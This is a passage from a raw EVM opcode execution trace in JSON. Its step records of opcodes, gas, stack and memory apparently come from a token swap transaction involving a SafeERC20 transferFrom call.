416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11708,"op":"PUSH1","gas":9162,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11710,"op":"DUP3","gas":9159,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11711,"op":"PUSH1","gas":9156,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11713,"op":"PUSH1","gas":9153,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11715,"op":"PUSH1","gas":9150,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11717,"op":"SHL","gas":9147,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11718,"op":"SUB","gas":9144,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11719,"op":"AND","gas":9141,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11720,"op":"DUP3","gas":9138,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11721,"op":"PUSH1","gas":9135,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11723,"op":"MLOAD","gas":9132,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11724,"op":"PUSH1","gas":9129,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11726,"op":"PUSH1","gas":9126,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x3a4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","000000000000000000000000000000000000000